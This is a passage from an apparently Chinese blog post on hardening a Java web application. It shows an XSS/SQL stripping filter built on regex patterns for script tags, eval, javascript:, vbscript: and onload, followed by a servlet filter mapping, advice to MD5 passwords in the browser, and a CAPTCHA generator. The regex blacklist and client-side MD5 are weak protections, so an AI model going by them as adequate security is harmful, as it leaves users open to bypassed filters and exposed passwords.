<span class="token comment">//	            case '\'':  </span>
<span class="token comment">//	                sb.append("＇");// 转义单引号  </span>
<span class="token comment">//	                break;  </span>
<span class="token comment">//	            case '\"':  </span>
<span class="token comment">//	                sb.append("＂");// 转义双引号  </span>
<span class="token comment">//	                break;  </span>
<span class="token comment">//	            case '&':  </span>
<span class="token comment">//	                sb.append("＆");// 转义&  </span>
<span class="token comment">//	                break;  </span>
<span class="token comment">//	            case '#':  </span>
<span class="token comment">//	                sb.append("＃");// 转义#  </span>
<span class="token comment">//	                break;  </span>
	            <span class="token keyword">default</span><span class="token operator">:</span>  
	                sb<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	                <span class="token keyword">break</span><span class="token punctuation">;</span>  
	            <span class="token punctuation">}</span>  
	        <span class="token punctuation">}</span>  
	        <span class="token keyword">return</span> sb<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	    <span class="token punctuation">}</span>  



	    <span class="token comment">/** 
	     *  
	     * 防止xss跨脚本攻击（替换，根据实际情况调整） 
	     */</span>  
	    <span class="token keyword">public</span> <span class="token keyword">static</span> String <span class="token function">stripXSSAndSql</span><span class="token punctuation">(</span>String value<span class="token punctuation">)</span> <span class="token punctuation">{</span>  
	        <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">!=</span> null<span class="token punctuation">)</span> <span class="token punctuation">{</span>  
	            <span class="token comment">// NOTE: It's highly recommended to use the ESAPI library and  </span>
	            <span class="token comment">// uncomment the following line to  </span>
	            <span class="token comment">// avoid encoded attacks.  </span>
<span class="token comment">//	             value = ESAPI.encoder().canonicalize(value);  </span>
	            <span class="token comment">// Avoid null characters  </span>
	<span class="token comment">/**         value = value.replaceAll("", "");***/</span>  
	            <span class="token comment">// Avoid anything between script tags  </span>
	            Pattern scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"<[\r\n| | ]*script[\r\n| | ]*>(.*?)</[\r\n| | ]*script[\r\n| | ]*>"</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            <span class="token comment">// Avoid anything in a src="http://www.yihaomen.com/article/java/..." type of e-xpression  </span>
	            scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"src[\r\n| | ]*=[\r\n| | ]*[\\\"|\\\'](.*?)[\\\"|\\\']"</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>MULTILINE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>DOTALL<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            <span class="token comment">// Remove any lonesome </script> tag  </span>
	            scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"</[\r\n| | ]*script[\r\n| | ]*>"</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            <span class="token comment">// Remove any lonesome <script ...> tag  </span>
	            scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"<[\r\n| | ]*script(.*?)>"</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>MULTILINE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>DOTALL<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            <span class="token comment">// Avoid eval(...) expressions  </span>
	            scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"eval\\((.*?)\\)"</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>MULTILINE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>DOTALL<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            <span class="token comment">// Avoid e-xpression(...) expressions  </span>
	            scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"e-xpression\\((.*?)\\)"</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>MULTILINE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>DOTALL<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            <span class="token comment">// Avoid javascript:... expressions  </span>
	            scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"javascript[\r\n| | ]*:[\r\n| | ]*"</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            <span class="token comment">// Avoid vbscript:... expressions  </span>
	            scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"vbscript[\r\n| | ]*:[\r\n| | ]*"</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            <span class="token comment">// Avoid  expressions  </span>
	            scriptPattern <span class="token operator">=</span> Pattern<span class="token punctuation">.</span><span class="token function">compile</span><span class="token punctuation">(</span><span class="token string">"onload(.*?)="</span><span class="token punctuation">,</span> Pattern<span class="token punctuation">.</span>CASE_INSENSITIVE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>MULTILINE <span class="token operator">|</span> Pattern<span class="token punctuation">.</span>DOTALL<span class="token punctuation">)</span><span class="token punctuation">;</span>  
	            value <span class="token operator">=</span> scriptPattern<span class="token punctuation">.</span><span class="token function">matcher</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
	        <span class="token punctuation">}</span>  
	        <span class="token keyword">return</span> value<span class="token punctuation">;</span>  
	    <span class="token punctuation">}</span>  

	 
<span class="token punctuation">}</span>
</code></pre> 
    <ul> 
     <li>xss注入过滤器</li> 
    </ul> <pre><code class="prism language-java">  <span class="token generics function"><span class="token punctuation"><</span>filter<span class="token punctuation">></span></span>
    <span class="token operator"><</span>filter<span class="token operator">-</span>name<span class="token operator">></span>xssRequestFilter<span class="token operator"><</span><span class="token operator">/</span>filter<span class="token operator">-</span>name<span class="token operator">></span>
    <span class="token operator"><</span>filter<span class="token operator">-</span><span class="token keyword">class</span><span class="token operator">></span>com<span class="token punctuation">.</span>sinosoft<span class="token punctuation">.</span>filter<span class="token punctuation">.</span>RequestFilter<span class="token operator"><</span><span class="token operator">/</span>filter<span class="token operator">-</span><span class="token keyword">class</span><span class="token operator">></span> 
<span class="token operator"><</span><span class="token operator">/</span>filter<span class="token operator">></span>
<span class="token operator"><</span>filter<span class="token operator">-</span>mapping<span class="token operator">></span>
    <span class="token operator"><</span>filter<span class="token operator">-</span>name<span class="token operator">></span>xssRequestFilter<span class="token operator"><</span><span class="token operator">/</span>filter<span class="token operator">-</span>name<span class="token operator">></span>
    <span class="token operator"><</span>url<span class="token operator">-</span>pattern<span class="token operator">></span><span class="token comment">/*</url-pattern>
</filter-mapping>
</span></code></pre> <p>到此整个xss监测和防御就告一段落了，当然还可以使用csp内容安全策略，有兴趣大家可以研究研究，毕竟不是专业的前端。</p> </li> 
  </ul> 
  <h2 id="2">2. 敏感数据未加密传输</h2> 
  <ul> 
   <li> <p>问题</p> <p>口令的传输未采用加密传输的机制</p> </li> 
   <li> <p>解决思路</p> <p>启用信道加密以及身份识别技术，https协议，并且在前台做数据加密。<br> 具体实现：1.用户密码在前台进行md5加密。2.新增和修改用户时，用户密码进行2次加密。<br> https实现请观看这篇博客 https://www.cnblogs.com/moon521/p/5948058.html</p> </li> 
  </ul> 
  <h2 id="3">3.验证机制缺陷 </h2> 
  <p>这块主要添加高强度验证码</p> 
  <ul> 
   <li>html</li> 
  </ul> 
  <pre><code class="prism language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>label</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>block clearfix<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
   													<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>span</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>block input-icon input-icon-right<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
   														 <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>input</span>  <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>checks<span class="token punctuation">"</span></span><span class="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">width</span><span class="token punctuation">:</span>100px<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>checks<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>form-control<span class="token punctuation">"</span></span> <span class="token attr-name">placeholder</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>请输入验证码<span class="token punctuation">"</span></span>  <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>password<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span><span class="token punctuation">"</span></span><span class="token punctuation">/></span></span>
   														  <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>img</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>imgVerify<span class="token punctuation">"</span></span><span class="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">float</span><span class="token punctuation">:</span> left<span class="token punctuation">;</span><span class="token property">margin-left</span><span class="token punctuation">:</span> 130px<span class="token punctuation">;</span><span class="token property">margin-top</span><span class="token punctuation">:</span> -28px<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span><span class="token punctuation">"</span></span> <span class="token attr-name">alt</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>点击更换验证码<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span><span class="token punctuation">"</span></span><span class="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">float</span><span class="token punctuation">:</span> right<span class="token punctuation">;</span><span class="token property">margin-top</span><span class="token punctuation">:</span> -28px<span class="token punctuation">;</span><span class="token property">margin-right</span><span class="token punctuation">:</span> 80px<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span> <span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>getVerify()<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>nofollow<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>看不清，换一张<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>a</span><span class="token punctuation">></span></span>
   													<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>span</span><span class="token punctuation">></span></span>
   												<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>label</span><span class="token punctuation">></span></span>
</code></pre> 
  <ul> 
   <li>js</li> 
  </ul> 
  <pre><code class="prism language-js"><span class="token function">$</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span>body<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">ready</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token comment">//首次获取验证码</span>
        <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#imgVerify"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">attr</span><span class="token punctuation">(</span><span class="token string">"src"</span><span class="token punctuation">,</span><span class="token string">"${ctx}/getVerify?"</span><span class="token operator">+</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token comment">//点击“看不清楚”获取验证码</span>
    <span class="token keyword">function</span> <span class="token function">getVerify</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
        <span class="token keyword">var</span> src1<span class="token operator">=</span>document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'imgVerify'</span><span class="token punctuation">)</span>
        src1<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">"${ctx}/getVerify?"</span><span class="token operator">+</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
</code></pre> 
  <p>-验证码生成类</p> 
  <pre><code class="prism language-java"><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">RandomValidateCode</span> <span class="token punctuation">{</span>
    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">final</span> String RANDOMCODEKEY<span class="token operator">=</span> <span class="token string">"RANDOMVALIDATECODEKEY"</span><span class="token punctuation">;</span><span class="token comment">//放到session中的key</span>
    <span class="token comment">//private String randString = "0123456789";//随机产生只有数字的字符串 private String</span>
    <span class="token keyword">private</span> String randString <span class="token operator">=</span> <span class="token string">"ABCDEFGHIJKLMNOPQRSTUVWXYZ"</span><span class="token punctuation">;</span><span class="token comment">//随机产生只有字母的字符串</span>
    <span class="token comment">//private String randString = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生数字与字母组合的字符串</span>
    <span class="token keyword">private</span> <span class="token keyword">int</span> width <span class="token operator">=</span> <span class="token number">95</span><span class="token punctuation">;</span><span class="token comment">// 图片宽</span>
    <span class="token keyword">private</span> <span class="token keyword">int</span> height <span class="token operator">=</span> <span class="token number">25</span><span class="token punctuation">;</span><span class="token comment">// 图片高</span>
    <span class="token keyword">private</span> <span class="token keyword">int</span> lineSize <span class="token operator">=</span> <span class="token number">40</span><span class="token punctuation">;</span><span class="token comment">// 干扰线数量</span>
    <span class="token keyword">private</span> <span class="token keyword">int</span> stringNum <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span><span class="token comment">// 随机产生字符数量</span>
 
    <span class="token keyword">private</span> Random random <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Random</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
 
    <span class="token comment">/*
     * 获得字体
     */</span>
    <span class="token keyword">private</span> Font <span class="token function">getFont</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Font</span><span class="token punctuation">(</span><span class="token string">"Fixedsys"</span><span class="token punctuation">,</span> Font<span class="token punctuation">.</span>CENTER_BASELINE<span class="token punctuation">,</span> <span class="token number">18</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
 
    <span class="token comment">/*
     * 获得颜色
     */</span>
    <span class="token keyword">private</span> Color <span class="token function">getRandColor</span><span class="token punctuation">(</span><span class="token keyword">int</span> fc<span class="token punctuation">,</span> <span class="token keyword">int</span> bc<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span>fc <span class="token operator">></span> <span class="token number">255</span><span class="token punctuation">)</span>
            fc <span class="token operator">=</span> <span class="token number">255</span><span class="token punctuation">;</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span>bc <span class="token operator">></span> <span class="token number">255</span><span class="token punctuation">)</span>
            bc <span class="token operator">=</span> <span class="token number">255</span><span class="token punctuation">;</span>
        <span class="token keyword">int</span> r <span class="token operator">=</span> fc <span class="token operator">+</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span>bc <span class="token operator">-</span> fc <span class="token operator">-</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">int</span> g <span class="token operator">=</span> fc <span class="token operator">+</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span>bc <span class="token operator">-</span> fc <span class="token operator">-</span> <span class="token number">14</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">int</span> b <span class="token operator">=</span> fc <span class="token operator">+</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span>bc <span class="token operator">-</span> fc <span class="token operator">-</span> <span class="token number">18</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Color</span><span class="token punctuation">(</span>r<span class="token punctuation">,</span> g<span class="token punctuation">,</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
 
    <span class="token comment">/**
     * 生成随机图片
     */</span>
    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">getRandcode</span><span class="token punctuation">(</span>HttpServletRequest request<span class="token punctuation">,</span> HttpServletResponse response<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        HttpSession session <span class="token operator">=</span> request<span class="token punctuation">.</span><span class="token function">getSession</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token comment">// BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类</span>
        BufferedImage image <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BufferedImage</span><span class="token punctuation">(</span>width<span class="token punctuation">,</span> height<span class="token punctuation">,</span> BufferedImage<span class="token punctuation">.</span>TYPE_INT_BGR<span class="token punctuation">)</span><span class="token punctuation">;</span>
        Graphics g <span class="token operator">=</span> image<span class="token punctuation">.</span><span class="token function">getGraphics</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作</span>
        g<span class="token punctuation">.</span><span class="token function">fillRect</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> width<span class="token punctuation">,</span> height<span class="token punctuation">)</span><span class="token punctuation">;</span>
        g<span class="token punctuation">.</span><span class="token function">setFont</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Font</span><span class="token punctuation">(</span><span class="token string">"Times New Roman"</span><span class="token punctuation">,</span> Font<span class="token punctuation">.</span>ROMAN_BASELINE<span class="token punctuation">,</span> <span class="token number">18</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        g<span class="token punctuation">.</span><span class="token function">setColor</span><span class="token punctuation">(</span><span class="token function">getRandColor</span><span class="token punctuation">(</span><span class="token number">110</span><span class="token punctuation">,</span> <span class="token number">133</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token comment">// 绘制干扰线</span>
        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator"><=</span> lineSize<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token function">drowLine</span><span class="token punctuation">(</span>g<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token comment">// 绘制随机字符</span>
        String randomString <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator"><=</span> stringNum<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            randomString <span class="token operator">=</span> <span class="token function">drowString</span><span class="token punctuation">(</span>g<span class="token punctuation">,</span> randomString<span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token comment">//将生成的随机字符串保存到session中，而jsp界面通过session.getAttribute("RANDOMCODEKEY")，</span>
        <span class="token comment">//获得生成的验证码，然后跟用户输入的进行比较</span>
        session<span class="token punctuation">.</span><span class="token function">removeAttribute</span><span class="token punctuation">(</span>RANDOMCODEKEY<span class="token punctuation">)</span><span class="token punctuation">;</span>
        session<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span>RANDOMCODEKEY<span class="token punctuation">,</span> randomString<span class="token punctuation">)</span><span class="token punctuation">;</span>
        g<span class="token punctuation">.</span><span class="token function">dispose</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">try</span> <span class="token punctuation">{</span>
            <span class="token comment">// 将内存中的图片通过流动形式输出到客户端</span>
            ImageIO<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>image<span class="token punctuation">,</span> <span class="token string">"JPEG"</span><span class="token punctuation">,</span> response<span class="token punctuation">.</span><span class="token function">getOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>
            e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
 
    <span class="token punctuation">}</span>
 
    <span class="token comment">/*
     * 绘制字符串
     */</span>
    <span class="token keyword">private</span> String <span class="token function">drowString</span><span class="token punctuation">(</span>Graphics g<span class="token punctuation">,</span> String randomString<span class="token punctuation">,</span> <span class="token keyword">int</span> i<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        g<span class="token punctuation">.</span><span class="token function">setFont</span><span class="token punctuation">(</span><span class="token function">getFont</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        g<span class="token punctuation">.</span><span class="token function">setColor</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Color</span><span class="token punctuation">(</span>random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span><span class="token number">101</span><span class="token punctuation">)</span><span class="token punctuation">,</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span><span class="token number">111</span><span class="token punctuation">)</span><span class="token punctuation">,</span> random
                <span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span><span class="token number">121</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        String rand <span class="token operator">=</span> String<span class="token punctuation">.</span><span class="token function">valueOf</span><span class="token punctuation">(</span><span class="token function">getRandomString</span><span class="token punctuation">(</span>random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span>randString
                <span class="token punctuation">.</span><span class="token function">length</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        randomString <span class="token operator">+=</span> rand<span class="token punctuation">;</span>
        g<span class="token punctuation">.</span><span class="token function">translate</span><span class="token punctuation">(</span>random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        g<span class="token punctuation">.</span><span class="token function">drawString</span><span class="token punctuation">(</span>rand<span class="token punctuation">,</span> <span class="token number">13</span> <span class="token operator">*</span> i<span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> randomString<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
 
    <span class="token comment">/*
     * 绘制干扰线
     */</span>
    <span class="token keyword">private</span> <span class="token keyword">void</span> <span class="token function">drowLine</span><span class="token punctuation">(</span>Graphics g<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">int</span> x <span class="token operator">=</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span>width<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">int</span> y <span class="token operator">=</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span>height<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">int</span> xl <span class="token operator">=</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span><span class="token number">13</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">int</span> yl <span class="token operator">=</span> random<span class="token punctuation">.</span><span class="token function">nextInt</span><span class="token punctuation">(</span><span class="token number">15</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        g<span class="token punctuation">.</span><span class="token function">drawLine</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y<span class="token punctuation">,</span> x <span class="token operator">+</span> xl<span class="token punctuation">,</span> y <span class="token operator">+</span> yl<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
 
    <span class="token comment">/*
     * 获取随机的字符
     */</span>
    <span class="token keyword">public</span> String <span class="token function">getRandomString</span><span class="token punctuation">(</span><span class="token keyword">int</span> num<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">return</span> String<span class="token punctuation">.</span><span class="token function">valueOf</span><span class="token punctuation">(</span>randString<span class="token punctuation">.</span><span class="token function">charAt</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
<span class="token punctuation">}</span>
</code></pre> 
  <ul> 
